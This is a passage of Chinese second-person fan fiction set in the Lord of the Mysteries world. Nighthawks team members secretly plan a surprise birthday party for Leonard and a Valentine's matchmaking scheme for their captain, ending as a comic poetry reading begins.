你奇怪地瞥了克莱恩一眼,心想这家伙怎么了,听到好消息这么激动? 你没管他,继续你的表演,熟练地将从愚者先生那里听来的、关于扮演法的核心要点——贴近象征、理解意象、消化而非吸收统统说了出来,末了,不忘补充道:“这可是我从允许接触的生命学派成员那里打听到的!他们内部似乎都知道!我觉得特别有道理,大家都试试看呗?尤其是某些消化进度堪忧的同志。” 你说着,意有所指地扫过伦纳德。 罗珊虽然还不是非凡者,但对这些神秘学话题充满兴趣,她眼睛发亮,立刻抓住了“午夜诗人”这个她最熟悉的序列:“扮演法?听起来好有道理!那按这个说法,伦纳德想要消化魔药,岂不是真的要去做个诗人?每天拿着诗集,对着月亮发出忧郁感慨那种?” 这个话题显然比打牌更有趣。你虽然心里并不完全赞同“午夜诗人”的扮演就是字面意义上的作诗——你觉得更偏向用诗歌的力量隐秘地影响和编织,但这丝毫不影响你此刻加入“迫害”伦纳德的行列。 你立刻附和罗珊,脸上露出促狭的笑容:“对对对!罗珊你说得对!我们的米切尔先生,是时候展现你真正的才华了!不能占着诗人名号不作诗啊,不如今晚就去佐特兰街找个路灯,对着它深情创作一首十四行诗?” 克莱恩此时已经缓过气来,大概是想起了之前被伦纳德的诗歌催眠的经历,也难得地加入了补刀行列,用一种平静但杀伤力十足的语调说:“以诗人同学的气质,或许更适合扮演罗塞尔大帝作品里的罗密欧。不仅要写诗,恐怕还得往哪位小姐窗户里丢玫瑰和情诗才行。” “哈哈哈哈!” 你和罗珊爆发出更大的笑声。这个画面感太强了。 伦纳德那张总是带着点玩世不恭笑容的帅脸,此刻终于绷不住了,露出了明显的窘迫。让他打架、让他侦查、甚至让他念诗催眠敌人都行,但正儿八经地创作一首符合要求的诗?尤其是情诗?这怎么可能嘛! 你和克莱恩也完全知道他的文学水平,估计也就比非凡市场的阿德米索尔好一点,大概是不会把男人认作女人,不会写“我的爷爷扎着两个小辫子”的水平吧。 “喂喂,你们够了啊!” 伦纳德试图维护自己“诗人”的尊严(虽然他并没有什么尊严)。 他把求救的目光投向了在场看起来最靠谱、最严肃的大家长——邓恩队长身上,希望队长能制止这场越来越离谱的调侃。 然而,今天的邓恩·史密斯队长似乎心情格外不错,或许是被这轻松的气氛感染,或许是想看看年轻人的热闹。他端着咖啡杯,慢悠悠地啜饮了一口,然后在那双灰眸与伦纳德绿色眼睛对上时,这位一向沉稳的队长,竟然几不可察地、朝着伦纳德飞快地眨了一下眼睛,嘴角勾起一丝极淡的、近乎顽皮的笑意。 表情无声地向伦纳德转达了对他作诗的支持。 !!! 队长的背叛让伦纳德瞬间意识到——他今天逃不掉了! 这帮家伙是铁了心要看他出糗!连队长都被你和克莱恩这两个家伙带坏了! 羞恼之下,伦纳德“恶向胆边生”,秉承着“要死一起死”的原则,他猛地从沙发上弹起来,充分发挥了“午夜诗人”途径在低序列同样不俗的身体素质。 他左手如同铁钳般一把抓住正准备偷偷溜去倒水、以远离战场的克莱恩,右手则快如闪电地伸向另一边笑得上气不接下气的你,把你捞了起来! “想跑?没门!” 伦纳德脸上露出了“狰狞”的笑容,“既然要写诗,那怎么能只让我一个人写?你们两个,‘占卜家’和‘怪物’,一个需要洞察命运,一个需要感悟灵感,写诗正是绝佳的扮演啊! 要写一起写!你们写,我才写!” “喂!伦纳德你耍赖!” “这不公平!关我什么事啊!” 你和克莱恩同时抗议。你试图挣脱,但伦纳德的手臂稳如磐石,力气大得惊人。克莱恩也在努力掰开钳制,但显然在纯粹的力量上也不是伦纳德的对手。 “可恶的‘午夜诗人’!可恶的暴力诗人!力气怎么这么大!” 你气得哇哇大叫,感觉自己像只被捏住后颈皮的小猫,徒劳地扑腾着。克莱恩也是一脸无奈,放弃了挣扎。 罗珊在一旁笑得直拍沙发:“哈哈哈!好!我赞成!三个人一起写!题目就定……嗯,《春日午后》 怎么样?或者更应景一点,《致诗人》?哈哈哈哈……” 她看热闹不嫌事大地提议。 邓恩队长忍着笑,咳嗽一声,恢复了平时的严肃,但眼里的笑意没藏住:“嗯,不错的提议。既能实践‘扮演法’的思考,也能陶冶情操。这样吧,这周六交稿,就当是……嗯,小队文化建设活动。” 他给这个突如其来的“写诗会”套上了一个冠冕堂皇的理由。 伦纳德这才志得意满地松开你们,拍了拍手,挑衅地看着你和克莱恩:“怎么样?队长都发话了。谁不写,谁就负责看守一周的查尼斯门!” 你和克莱恩对视一眼,都从对方眼中看到了认命。 哇哇哇,等我晋升序列八我一定要把伦纳德打趴下啊!!! 于是,在这个原本平平无奇的周二上午,一项极其不值夜者的任务诞生了:黑荆棘安保公司第一届(也可能是最后一届)非正式诗歌创作大会成功举办了起来,参与人员:被赶鸭子上架的“午夜诗人”伦纳德·米切尔、被扯住正装怕把衣服挣坏的“占卜家”克莱恩·莫雷蒂、被暴力诗人捞起来夹咯吱窝没逃掉的“怪物”温蒂·佩洛蒙西娅。监督和评委则是吃瓜群众罗珊与看乐子的邓恩·史密斯队长。 牌局在午餐时间自然解散。你和克莱恩都打算回家吃饭,正好顺路一段。午后的阳光驱散了些许春寒,你们并肩走在逐渐热闹起来的街道上。 你背着手,脚步轻快地侧过头,看向克莱恩,脸上带着一丝神秘兮兮的笑容,问道:“喂,克莱恩,猜猜看,这周六是什么日子?” 克莱恩愣了一下,目光下意识地飘向路边商店橱窗里提前陈列出的、那些带有心形图案的装饰和促销标语,犹豫着挠了挠头:“周六?嗯……好像是情人节?” 他的语气不太确定,似乎对这种节日并不太关注。 “嘻嘻,猜对了一半!” 你笑得更开心了,眼睛弯成了月牙,“是对了一半哦!周六确实是情人节,不过呢,这一天,还是另一个更特殊的日子——” 你故意拉长了声音,然后才揭晓答案,“是我们亲爱的诗人同学,伦纳德·米切尔的生日!” “诗人同学的生日?!” 克莱恩果然露出了惊讶的表情,重复了一遍,随即忍不住吐槽道,“居然和情人节同一天?他这是爱神转世吗?” 这确实有点巧合。 吐槽完,他看向你,褐色的眼睛里带着了然:“所以,上午罗珊和队长他们……还有你突然高调宣布扮演法然后起哄写诗,都是在为这个做准备?要给伦纳德庆祝生日?” “嗯哼~” 你点点头,脚步轻快地跳过一个路面的小水洼,“是罗珊偷偷告诉我的,队长和老尼尔先生也知道。那天特意没给他排外勤任务,西迦女士和洛耀女士也会提前结束巡逻回来。到时候,公司里的人应该都会在,给他个惊喜。” 你想了想,补充道,“不过伦纳德自己好像不知道我们已经知道了。” 克莱恩听完,若有所思地点点头,随即看向你,眼神里带着点无奈和“果然如此”的意味:“所以,你上午是故意拉我下水,让我也必须写那什么情诗?而且,这么重要的集体活动,你怎么最后一个才告诉我?” 他重点强调了“最后一个”。 你毫不在意地吐了吐舌头,理直气壮地解释道:“这怎么能叫拉你下水呢?我这是提前帮你融入集体活动!” 眼见克莱恩露出不信的表情,你才笑嘻嘻地坦白,“好吧好吧,我承认,我要是提前告诉你,以伦纳德那家伙的性子,他肯定不愿意就他一个人被架在火上烤写什么情诗,绝对要抓人陪他一起受罪。要是你提前知道了,有了防备,或者找借口溜了,那岂不是只剩下我一个人被他抓?” 你摊摊手,一脸“我也是被逼无奈”的表情,“所以,你当然要意外地和我一起啦!要死一起死嘛!” 克莱恩看着你这副“死道友不死贫道”还说得如此光明正大的样子,直接被气笑了,摇摇头,一副“我早就该料到”的表情。 “哎呀,别生气嘛!” 你伸手拍了拍他的肩膀,换上安抚的语气,“放心好了,伦纳德才是周六的绝对主角,生日蛋糕、礼物、祝福都是冲着他去的。我们俩写的诗,就是助兴的,凑个数,渲染一下气氛,” 你努力让说辞听起来可信,“随便写写,表达一下同事爱就好了,不用有压力。队长和老尼尔他们也不会真的仔细评判的。” 克莱恩听着你的安慰,紧绷的表情似乎缓和了一些,轻轻松了口气,大概是觉得你说的有道理,压力没那么大了。 计划通! 你在心里给自己竖了个大拇指。“这样一来,至少不会是我一个人写诗垫底了。克莱恩可是正儿八经的文科生,虽然是历史系,但文笔总不会太差,我们俩一起给伦纳德当‘陪衬’,所以只要我写得比克莱恩稍微好那么一点点,或者哪怕持平,就不算丢人!” 你美滋滋地想着,仿佛已经看到了自己安全过关的场景。 一个小恶魔的形象在你脑海里挥舞着叉子得意地笑,而代表良心的小天使……抱歉,从你决定拉克莱恩下水的那一刻起,它好像就从未存在过。 晚上,贝西克特街29号。 市政图书馆借来的《罗塞尔大帝诗集精选》和《阿赫玛托娃诗选》摊开在崭新的书桌上,旁边散落着几张涂改得乱七八糟的草稿纸。煤气灯的光晕照亮了一小片专注的区域。你咬着笔杆,眉头紧锁,对着那些精妙的诗句发愁。 “写诗……好难啊!” 你不知道第几次在心里哀叹。让你背诗可以,让你分析神秘学符号可以,但原创一首诗,哪怕只有一首也不行!虽然你给自己的要求只是仿写一首能看得过去的诗,也远比你想象中难。 你最终决定走“仿写+改编”的稳妥路线。面前摊开的是阿赫玛托娃的一首短诗,你正努力将其改写并融入一点关于伦纳德的元素:比如春天,比如他漂亮的绿色眼睛。 “我们不能一起迎接太阳的复活,没关系,”(原句意境深邃,但你总觉得有点不吉利,划掉) “春天不在我们的指尖上停驻,也没关系……”(这句还行,保留,但后面接什么?) 你正绞尽脑汁,试图将“绿眼睛”元素塞进去时,忽然,灵性感知中传来一丝极其细微的、熟悉的波动,并非恶意,更像是……有人正在附近小心翼翼地活动,并且试图不惊动你。 你疑惑地停下笔,起身走到窗边。通下风,顺便从写诗的困境中喘口气。 你推开了那扇面向侧巷的小窗。 晚风带着凉意涌入。然后—— “哇啊!” 你吓得惊叫一声,猛然后退了两步,心脏差点跳出来! 任谁在深夜推开窗,赫然看到一张倒挂着的、距离自己不到半尺的脸,都会被吓到的! 即使那张脸的主人你熟悉得不能再熟悉! 你刚刚还在念叨的绿色眼睛在夜色中闪着恶作剧得逞般的光,嘴角挂着惯有的、有点欠揍的痞笑。 “伦纳德·米切尔!” 你抚着胸口,没好气地压低声音吼道,“你终于误入歧途,走上扒未婚女性窗户的犯罪道路了吗?那我真的要惩罚你了,诅咒你明天走路平地摔、喝咖啡烫舌头、写诗永远押不上韵!” 窗外倒挂的伦纳德却笑得更加灿烂,他利落地一个翻身,双手在窗沿一撑,像只灵巧的大猫般,“嗖”地一下就从那个对你来说略显狭窄的窗口钻了进来,轻巧地落在你房间的地板上,拍了拍黑色风衣上不存在的灰。 听到你的威胁,他非但没怕,反而嬉皮笑脸地朝我做了个噤声的手势,绿色的眼睛里闪烁着恶作剧得逞般的光芒。 “小声点,小声点,我亲爱的同事。”他左右看了看我这间除了床、书桌和诗集外空空如也的房间,自来熟地拉过书桌旁唯一的椅子坐下,翘起腿,脸上依旧是那副嬉皮笑脸的模样,“我可不是来犯罪的,我是来……嗯,找你商量点事,关于下周六。” “下周六?” 你挑了挑眉,暂时压下了把他踹出去的冲动,抱起胳膊,“伦纳德,你不会是写诗写到走火入魔,病急乱投医,找上我这个众所周知的理科生求救了吧?那你可找错人了,你应该去敲克莱恩的门,他才是文科生……” 你指了指克莱恩家的方向。 “不是诗!那玩意儿……到时候再说。” 伦纳德挥挥手,打断了你的猜测,他凑近了一些,绿色的眼睛里闪烁着兴奋和某种“搞事”的光芒,压低声音,几乎是用气音在你耳边说道: “是下周六,情人节!戴莉女士要回廷根来!” 你猛地睁大了眼睛。 伦纳德看到你的反应,满意地点点头,继续和你密谋:“我打听到的消息,绝对可靠。所以,温蒂,” 他双手搭上你的肩膀,严肃的表情在他脸上有点滑稽,“我们需要联手!在情人节,把戴莉女士和我们的邓恩队长,恰到好处地撮合到一起! 这是什么,这就是罗塞尔大帝说的一千年难得一次的好机会!” 你愣住了,随即,一股比写诗成功更强烈的兴奋和跃跃欲试涌上心头。撮合队长和戴莉女士?这不就是你之前和罗珊打赌、甚至用“虚视”偷偷关注过的事情吗? “天哪……” 你喃喃道,眼中也开始冒出和伦纳德相似的光,“诗人同学,你终于干了件正经事! 详细说说,你有什么计划?需要我怎么配合?克莱恩不用问他,他肯定会帮忙的,明天我跟他说。” 伦纳德咧嘴一笑,手臂搭在椅背上,开始滔滔不绝地讲述他那初步的、充满了诗人式浪漫(和不靠谱)想象力的“情人节作战计划”。 …… 第二天天刚蒙蒙亮,你就蹲守在了克莱恩新家的门口,裹紧外套抵御着清晨的寒意。当克莱恩推门出来,看到蹲在墙角、像只蘑菇一样的你时,明显吓了一跳。 “温蒂?你这么早……” 他有些惊讶。 “早!克莱恩!” 你跳起来,拍了拍身上的灰尘,凑过去压低声音,“路上说,有重要计划跟你同步!” 你不由分说地拉着他,和他一起汇入清晨前往工作地点的人流。 步行前往佐特兰街的路上,你将昨晚伦纳德的“情人节作战计划”整合地告诉了克莱恩。克莱恩听完,脸上露出了混合着荒谬、了然和一丝头疼的表情。 “所以,我们现在的情况是,” 他总结道,语气无奈,“既要瞒着伦纳德,推进周六给他生日惊喜的计划;又要瞒着队长,或许还有戴莉女士,暗中推进……呃,促进他们的好事?而且还是同一天?” “完全正确!” 你打了个响指,脸上却写满了兴奋,“所以今天,我们得抓紧时间。我想办法申请和你一组外勤巡逻,然后我们就借机去把布置生日会的东西买了。生日蛋糕肯定不能少,我已经看好了一家不错的甜品店。对了,” 你看向克莱恩,“你想到送伦纳德什么生日礼物了吗?” 克莱恩没有立刻回答,先问了你:“你打算送什么?太贵重的我们可负担不起。” “我啊,” 你有些肉痛地皱了皱眉,“我想用伦纳德的出生灵数给他做个简易的太阳符咒或者幸运符咒。虽然比不上老尼尔做的那么熟练,但效果应该没问题。不过……” 你忍不住吐槽,“做太阳符咒需要用到的圣盐和象征物最好镀金,材料好贵!我自己都舍不得给自己做一个!要是伦纳德那家伙不识货或者不喜欢,他就死定了!” 克莱恩听完,若有所思:“用灵数做符咒……这倒是给了我点灵感。” “什么灵感?” “我或许可以用他的出生日期和生日礼物这个概念做一个简单的灵数占卜,看看送什么类型的礼物比较合适,或者在哪里能幸运地找到性价比高的选择。” 克莱恩说道,这很符合他“占卜家”的思维方式。 “占卜家也太方便了吧!” 你羡慕地说,“那说好了,你今天找机会占卜一下。我们分头准备,效率更高。” 上午,你们果然被安排成一组,进行例行的街区巡逻。这种巡逻不需要穿警服,主要是在负责区域走动,观察是否有异常灵性波动或不自然的痕迹,顺便熟悉辖区情况。 当你们路过哈罗德百货商店时,你朝克莱恩使了个眼色,两人默契地拐了进去,准备顺便看看有没有合适的装饰彩带、气球或者一次性餐具。 然而,自从走进百货商店,你那属于“怪物”的灵性预警就开始“突突突”地轻轻跳动,仿佛有个熟悉的存在在附近若即若离地跟着,还试图掩盖自身的痕迹。你皱了皱眉,假装挑选货物,用余光快速扫视。 第一次,在餐具区,你瞥见一个迅速缩回货架后的风衣下摆。 第二次,在布料区,你感觉到几排衣架后有人屏住呼吸。 第三次,当你们走到相对僻静的节日装饰品货架时,你终于忍无可忍,猛地转身,对着堆满金色银色铃铛的货架后方压低声音喝道: “伦纳德·米切尔!你跟着我们干什么?!” 一阵尴尬的寂静。几秒钟后,伦纳德从那堆亮闪闪的装饰品后面摸摸鼻子,讪笑着走了出来。他看起来有点被抓包的心虚,但更多的是一种“被你们抛弃了”的委屈和不满。 “只是路过而已,哪里专门看你们了!,” 他强作镇定,目光在你们手上提着的、装有彩带和拉花的购物篮上扫过,突然像是抓住了什么把柄,声音都提高了点,“我说你们俩鬼鬼祟祟的!原来是在偷偷买布置会场的东西!” 他凑近两步,压低声音,语气带着谴责,“太不够意思了吧!说好的一起策划‘情人节作战’,你们买这些装饰彩带、拉花什么的,居然不带我?!我还是不是计划的发起人了?!” “……” “……” 你和克莱恩同时噎住了,张了张嘴,一时竟不知该如何回应。我们、我们买布置用品……是为了你的生日啊!这话差点脱口而出,又被你们硬生生咽了回去。 伦纳德看你们语塞,以为说中了,更加理直气壮,甚至有点委屈巴巴:“我就知道!你们是不是觉得我只会写歪诗,干不了这种细致的活?我审美很好的!选装饰品,尤其是要营造那种……嗯,浪漫的、恰到好处的氛围,我比你们在行多了!你们两个书呆子肯定没我强!” 你看着伦纳德那副“你们排挤我”的表情,又和克莱恩交换了一个眼神。电光石火间,你们俩都明白了——伦纳德根本没发现生日计划!他以为你们在偷偷为撮合队长和戴莉女士的“情人节作战”购买布置物品! 巨大的荒谬感和一种绝妙的将错就错的机会同时涌上心头。你迅速调整表情,露出一副“被你发现了”的懊恼,又带点讨好: “哎呀,被你发现了……我们这不是想给你个惊喜嘛!想先把基本的装饰物买好,给你看看效果。” 你顺着他的话往下说,心里的小恶魔已经开始狂笑。这简直是送上门的完美掩护!不仅能打消他的疑虑,还能名正言顺地从他那里骗取一些关于布置的建议——正好可以用来参考布置生日会场! 克莱恩也迅速领会了你的意图,轻咳一声,点点头:“嗯,我们想先看看基础的东西。既然你来了,正好,你觉得,哪种颜色的彩带和主色调,更适合……呃,那种场合?” 他把问题抛回给伦纳德。 伦纳德果然被带偏了,立刻兴致勃勃地加入了选购,开始对着货架上的装饰品指点江山:“金色和银色太俗气了,要我说,用暗红色和深紫色搭配,有种神秘又高雅的感觉,很适合戴莉女士的气质,也能衬托队长的沉稳……这个星星灯也不错,朦胧的光线能增加气氛……” 你一边忍着笑,一边认真点头,把伦纳德的建议牢牢记在心里——嗯,暗红和深紫的搭配排除,太暧昧了,生日用不合适。星星灯可以考虑,气氛欢乐。克莱恩则是一脸“我很认真”的表情,实则已经要憋不住了。 于是,在哈罗德百货商店的装饰品货架前,你和克莱恩两个知道所有秘密的人,陪着那个只知道一半秘密、并且完全会错意的伦纳德,兴致勃勃地挑选着用来庆祝他自己生日和撮合他上司的装饰品。而且这位寿星兼“计划发起人”,无比投入地对双重惊喜贡献着宝贵的意见。 在伦纳德那充满诗人审美(尽管他写诗不行,但挑剔的眼光确实有一套)的指点下,你和克莱恩很快就筛选出了一套他认为“既不过分甜腻,又能烘托出恰到好处的神秘与浪漫氛围”的装饰用品。主要是深绿色和银灰色的绸带、一些造型别致的烛台(附赠蜡烛)、以及若干低调但闪亮的水晶挂饰。伦纳德对一套可以更换唱片、音质据说还不错的租用唱片机尤为满意,认为“音乐是氛围的灵魂,一定要有!”,你们也依言租下,并挑选了几张风格各异的唱片备用。 看着购物篮里渐渐堆满的战利品,伦纳德脸上露出了满意笑容。你也暗暗松了口气——很好,大部分装饰品其实也很适合生日会,色彩不算太暧昧,烛光也都能用,水晶挂饰更是通用。唱片机更是意外之喜,生日会怎么能没有音乐? 采购完毕,因为离你家最近,克莱恩和伦纳德便大包小包地将所有东西先提回了贝西克特街29号,暂时堆放在一楼那间还空着的客房里。看着角落里那堆为撮合队长大业准备的物资,伦纳德非常满意,仿佛已经看到了胜利的曙光。 他斜倚在客房的门框上,摆了个自认为风流倜傥的姿势,手指在空中虚点,开始激情澎湃地彩排他脑补中的“情人节作战”高潮部分: “等我们几个按照计划,念完那几首助兴的诗之后,” 他压低声音,模仿着舞台剧的腔调,“我就突然站出来说——‘队长!作为今我们的队长,这么好的日子您怎么能不赋诗一首呢?’ 这个时候,克莱恩,” 他指向克莱恩,“你就趁机,动作要快,姿势要帅,‘啪’一下,把主要的煤气灯调暗,只留下壁炉和这些蜡烛的光!” 他指了指购物袋里的烛台。 “氛围,这个时候氛围就到位了!昏暗,朦胧,充满期待!然后,” 他戏剧性地停顿,双手做出一个“有请”的姿势,“当当当当——我们的女主角,美丽的戴莉女士,就会在最适合的时刻,闪亮登场! 这个入场时机非常关键,不能早也不能晚,一定要在队长被架起来、最心跳加速、最无处可躲的时候!这个艰巨的任务,” 他重重地拍了拍你的肩膀,绿色的眼睛里满是“组织信任你”的光芒,“就交给你了,温蒂!你的灵感,你命运途径直觉,这时候不用,更待何时?” 你忍着笑,一脸严肃地比了个“OK”的手势,保证道:“放心吧,把握时机这种事情,难不倒我们命运途径!” 心里想的却是:“放心吧,你的生日惊喜,我们一定给你安排得明明白白,时机绝对难不倒我!” 伦纳德对你的保证非常满意,继续畅想:“等戴莉女士一出现,我就顺势把队长往前轻轻一推——自然,要像是意外!然后,” 他目光炯炯地扫视你们,“我们这些‘氛围组’就必须立刻上线!全都给我机灵点!起哄!鼓掌!大声要求队长必须为远道而来的戴莉女士即兴赋诗一首!要营造出一种‘不写诗今晚就别想走’的欢乐友好气氛!明白吗?” “明白!” 你憋着笑点头。克莱恩也勉强维持着表情管理,跟着点了点头。 然而,就在伦纳德沉浸在自导自演的浪漫剧本中时,一直安静旁听、擅长发现细节和逻辑漏洞的克莱恩,用他那平稳的声线提出了一个关键问题: “那么,诗人同学,” 他看向伦纳德,“你打算让队长念什么诗呢?是让队长自己临时创作,还是……你有‘备用方案’?” 这个问题如同一盆冷水,瞬间让激情演讲的伦纳德卡壳了。他脸上的得意笑容僵住,眼神开始飘忽。 你和克莱恩心里同时“咯噔”一下,升起一股不祥的预感。 “……伦纳德,” 你眯起眼睛,试探着问,“你该不会……是打算让队长念你自己写的那首‘大作’吧?” 你想起了他那充斥着语法错误和夸张比喻的文学水平。 “怎么可能?!” 伦纳德像是被踩了尾巴的猫,瞬间炸毛,脸涨得通红,“我是那种不靠谱的人吗?!那可是队长的人生大事!我怎么可能用我那些……练笔的东西去冒险!” 他急忙辩解,然后才小声嘟囔道,“我、我是打算,让队长念一首……嗯,罗塞尔大帝的诗。我抄了一首觉得特别合适的。” “罗塞尔大帝的诗?” 你和克莱恩异口同声,随即都松了口气。还好,是抄的。虽然不一定能百分百契合,但至少比伦纳德的原创要安全一万倍。大帝的诗,再差也有其底蕴和格调在。 “对啊,” 伦纳德见你们反应尚可,又恢复了一点信心,“我翻了好久的诗集,选了一首意境……嗯,还算贴切的。到时候我就悄悄塞给队长,让他照着念就行。以队长的沉稳,念出来效果肯定不错!” 你心里默默为队长捏了把汗,但也觉得这确实比让伦纳德自己写靠谱。“好吧,抄大帝的诗,总比他自己胡诌强。” 你和克莱恩交换了一个“只能这样了”的眼神。 …… 时间转眼就到了周六。 周六的清晨,阳光正好。你抱着一大箱装饰品,旁边是同样大包小包的克莱恩,两人站在黑荆棘安保公司尚未开门的招牌下,相视一眼,都从对方眼中看到了“任重道远”四个字。 “谁看了不说一句,这才是真正把公司当家的好员工啊!” 你小声对克莱恩感慨,语气里带着对这位“占卜家”同伴由衷的赞叹。要知道,克莱恩可是牺牲了宝贵的休息日清晨,帮你把采购的物资从家里搬运过来,还要协助布置——这份“革命友谊”简直感天动地。 “毕竟答应了……而且,我也很好奇今天会变成什么样。” 克莱恩脸上带着一丝无奈又好笑的表情。他帮你分担了更重的箱子,“太给力了,克莱恩!” 你在心里再次给他点了个赞。 用钥匙打开公司大门,空荡荡的接待厅在晨光中显得有些冷清。你们的目标地点是——查尼斯门前的守卫休息区。这是经过秘密讨论后定下的最佳地点。理由很充分:查尼斯门必须有人值守,这是铁律,但伦纳德的生日惊喜,还有之后可能发生的“浪漫插曲”,怎么能让值班的同事错过?所以,索性把主场地挪到门前那片还算宽敞的区域,主打一个“全员参与,一个都不能少”! 你们刚把东西放下,罗珊就哼着歌,带着更多小零碎(彩带、打气筒、胶水等)蹦蹦跳跳地出现了。很快,提前打过招呼的布莱特也加入了队伍。四个人分工合作,吹气球、挂彩带、摆放烛台、调试租来的唱片机…… 在查尼斯门那庄严沉重的背景下,一个略显古怪但充满欢乐气息的庆祝场地逐渐成形。好在查尼斯门前的空间足够大,搬开一些不必要的杂物,摆上从办公室和接待厅挪来的桌椅,再挂上装饰,很快就像模像样了。深绿和银灰的彩带交织,烛台上跳动着温暖的火焰,租来的唱片机放在一角,播放着舒缓的轻音乐,为原本冰冷肃穆的地下空间增添了不少温馨的节日气息。 罗珊还抽空用硬纸板写了块俏皮的 “今日休息,佳节勿扰” 牌子,挂在了黑荆棘安保公司临街的大门上。“情人节这种好日子,相信廷根的绅士淑女们出门都是为了约会和浪漫,而不是来找我们这些安保人员处理麻烦事。” 罗珊笑嘻嘻地说。不过,为了确保亲爱的戴莉女士能顺利入场,只是让大门虚掩着,并未上锁。 根据伦纳德那边的可靠消息,你们得知戴莉女士已于昨日返回廷根。为此你和克莱恩已经合作了一次——克莱恩用占卜大致确定了戴莉女士周六上午的空闲时段,而你则负责联系。对她的说辞当然是:“我们准备给伦纳德一个生日惊喜,想请您在关键时间点出现,送上祝福,吓他一跳。” 这个理由合情合理,戴莉女士回复得很快,语气轻松愉快,看来对这个小任务颇感兴趣。 总之,这充满计划与意外的一天,终于到了。 西迦·特昂和洛耀·莱斯早早结束了巡逻任务,回到公司,参观了一番焕然一新的地下区域,都露出了惊讶又好笑的表情。此刻正坐在布置好的场地边,喝着罗珊泡的香浓咖啡,低声交谈着,脸上带着难得的轻松笑意。 轮休的科恩黎也来了,精神很好,还帮忙布置了桌椅,使诗歌大会看起来更加像模像样。 老尼尔换上了一身相对不那么“古典”的深色外套,正在调试那个唱片机,试图找出一张他年轻时流行的舞曲唱片。就连平时大部分时间都待在财务室的奥利安娜夫人,也暂时放下了账本,端着一杯红茶,微笑地看着年轻人们忙碌,享受这难得的闲暇时光。 当然,大家表面上的理由都很一致:“来凑凑热闹,看看咱们黑荆棘安保公司第一届诗歌创作大会能搞出什么名堂!” 空气中弥漫着咖啡、红茶、蛋糕甜香以及淡淡蜡烛气味混合的温暖气息,音乐轻柔,伙伴们在侧。 装饰一新的场地中央,几张椅子被摆成了半圆形,西迦、洛耀、科恩黎、老尼尔、弗莱、布莱特、罗珊,还有西泽尔和奥利安娜夫人,以及端着咖啡杯旁观、嘴角含笑、显然心情不错的邓恩·史密斯队长,都已就座,俨然一副小型文艺沙龙评委团的架势。温暖的烛光与彩带柔和了地下空间惯有的冷清,唱片机流淌出舒缓的轻音乐。 而“舞台”中央,是我们三个面色各异、肢体僵硬的表演者——你、克莱恩,以及今天的寿星但此刻完全没意识到这点的伦纳德。 惊喜的第一项流程,公开念诗。 也许是人面对公开处刑的本能逃避,你的大脑之前一直自动屏蔽这件事,仿佛不去想它就不会发生。但现在,十几道目光聚焦过来,空气中充满了“快开始吧”的无声催促。此刻,箭在弦上,不得不发。而且必须尽快完成,不能耽误后续更重要的生日惊喜和“情人节作战”安排。 于是,在同事们期待的目光注视下,你们三个“难兄难弟”在场地中央站成了一排,你看看我,我看看你,谁都不愿意当第一个“献丑”的人。 “你、你先上!” 你压低声音,用胳膊肘轻轻捅了一下旁边的克莱恩。 “不不不,还是你先,女士优先。” 克莱恩身体微妙地向后缩了缩,试图把你凸显出来。 “喂!说好的同进退呢?” 我瞪他。 “别推了,你们两个谁先都一样。” 站在另一边的伦纳德抱着胳膊,一副看好戏的表情,绿色的眼睛里闪着促狭的光,“反正早晚都要念。不过嘛,作为计划的发起人,我压轴出场,很合理吧?” 他早就内定了最后一个,此刻毫无心理负担。 合理个头!你和克莱恩同时腹诽。 为了不影响后续安排,也实在耗不起,你们三个开始用极其幼稚且隐秘的方式角逐——在狭窄的站位空间里,互相用肩膀、手肘、甚至髋部,极其轻微地、暗戳戳地试图把对方“顶”出你们三人形成的小小包围圈,仿佛谁先被挤出去,谁就“输”了,必须第一个上。 场面一度非常滑稽,像三只暗中较劲的螃蟹。 这幼稚的行为引得观众席上传来几声压抑的低笑。 不能再这样下去了!你深吸一口气,决定用最古老也最公平的方式解决。 “停!” 你低喝一声,停止了这无意义的肢体推搡,转向克莱恩,伸出手,“猜拳!三局两胜!输的先上!” 克莱恩似乎也松了口气,至少这比被推出去体面点。他点点头,伸出手。 “石头、剪刀、布!” “石头、剪刀、布!” 两局过后,你,温蒂·佩洛蒙西娅,以零比二的辉煌战绩,干净利落地输了。 怎么会这样?!我不是命运途径吗?! 克莱恩不易察觉地松了口气。 “加油,温蒂!看好你!” 伦纳德立刻闪到一边,还做了个“请”的手势,脸上的笑容怎么看怎么欠揍。 两人已经默契地同时向后大退一步,瞬间与你拉开距离,将你彻底暴露在所有目光的焦点之下。十几道目光的聚焦感瞬间加倍。 这两个没义气的家伙! 你在心里狠狠吐槽。 没办法了。你深吸一口气,硬着头皮,从衣兜里掏出那张被你小心折起来的稿纸,手指因为紧张而微微发抖。你清了清嗓子,努力让声音听起来平稳: “我要朗诵的标题是:《致春天》” 稿纸下方,你昨晚仿照阿赫玛托娃风格绞尽脑汁拼凑出的诗句映入眼帘。光是看到那些自己写的句子,你就感到一阵头皮发麻的尴尬。 你的目光下意识飘向克莱恩和伦纳德: 只是对视一眼,克莱恩的嘴角就剧烈地抽搐了一下,他迅速低下头,假装咳嗽,肩膀微微耸动,显然是用了极大的意志力才没当场笑出声。而伦纳德就更不客气了,已经毫不客气地嗤笑出声,虽然很快用手捂住了嘴,但那绿色眼睛里盈满的笑意和肩膀的抖动根本藏不住! 一股热血“噌”地冲上头顶!羞恼瞬间压倒了紧张! 好啊你们!尤其是你,伦纳德!等着瞧! 电光石火间,你做出了决定。你猛地举起拿着稿纸的手,像是课堂发言一样,大声宣布: “等等!我改主意了!我要临时改标题!” 在众人诧异的目光中,你深吸一口气,一字一顿,清晰无比地念出了新的标题: “《致伦纳德——我美丽漂亮的绿眼睛同事》!” “噗——!” “哈哈哈哈!” 观众席瞬间爆发出更大的笑声!老尼尔笑得胡子乱颤,西迦捂住了嘴,洛耀也忍俊不禁,罗珊更是笑得前仰后合。连一直保持沉稳的邓恩队长,嘴角也明显地上扬了一个更大的弧度,灰眸中盈满笑意。 伦纳德本人则完全僵住了,脸上的笑容瞬间凝固,取而代之的是一种混合着惊愕、羞耻和“你居然来真的”的慌乱表情,脸颊以肉眼可见的速度泛起了红色。“喂!温蒂!你……” 他据理力争,但在众人的笑声中,抗议显得那么无力。 “抗议无效!诗是我写的,我想献给谁就献给谁!” 你得意地扬起下巴,成功将全场注意力和笑声转移到了伦纳德身上。哼,让你笑我! 扳回一城!你心里暗爽。调整了一下呼吸,努力压下嘴角的笑意,重新看向稿纸。这一次,你挺直腰板,拿出在霍伊大学演讲课上学到的架势,字正腔圆,感情充沛地朗诵你精心改编后的诗篇: “我们不能一起迎接清晨的霞光,没关系,” 